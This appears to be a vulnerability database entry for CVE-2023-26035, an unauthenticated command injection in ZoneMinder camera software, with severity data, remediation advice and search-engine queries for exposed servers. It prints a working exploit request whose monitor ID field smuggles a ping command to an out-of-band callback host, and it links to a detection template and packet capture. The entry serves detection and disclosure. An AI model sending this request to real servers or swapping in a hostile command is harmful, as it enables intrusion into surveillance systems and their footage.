| Title | ZoneMinder Snapshots - Command Injection |
|---|---|
| Author | Unblvr1,whotwagner |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute arbitrary commands on the ZoneMinder server by exploiting missing authorization checks, potentially compromising all monitored camera systems and recorded footage. |
| Remediation | Upgrade to ZoneMinder version 1.36.33 or 1.37.33 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.49634 |
| CVE ID | CVE-2023-26035 |
| CWE ID | CWE-862 |
| Shodan Query | html:"ZM - Login"http.html:"zm - login" |
| Fofa Query | body="zm - login" |
| Tags | cve cve2023 rce zoneminder unauth packetstorm vuln |
ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras.Versions prior to 1.36.33 and 1.37.33 are vulnerable to Unauthenticated Remote Code Execution via Missing Authorization. There are no permissions check on the snapshot action, which expects an id to fetch an existing monitor but can be passed an object to create a new one instead. TriggerOn ends up calling shell_exec using the supplied Id.
GET /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.5) AppleWebKit/618.3.5 (KHTML, like Gecko) Version/17.4 Safari/618.3.5
Connection: close
Accept-Encoding: gzip
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Connection: close
Content-Length: 114
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
view=snapshot&action=create&monitor_ids[0][Id]=;ping+d5jkml1le0o4i17cn2k0jm8xgoxg3nozn.oast.me&__csrf_magic=LEK3mS
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-26035.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-26035.pcap
N/AN/A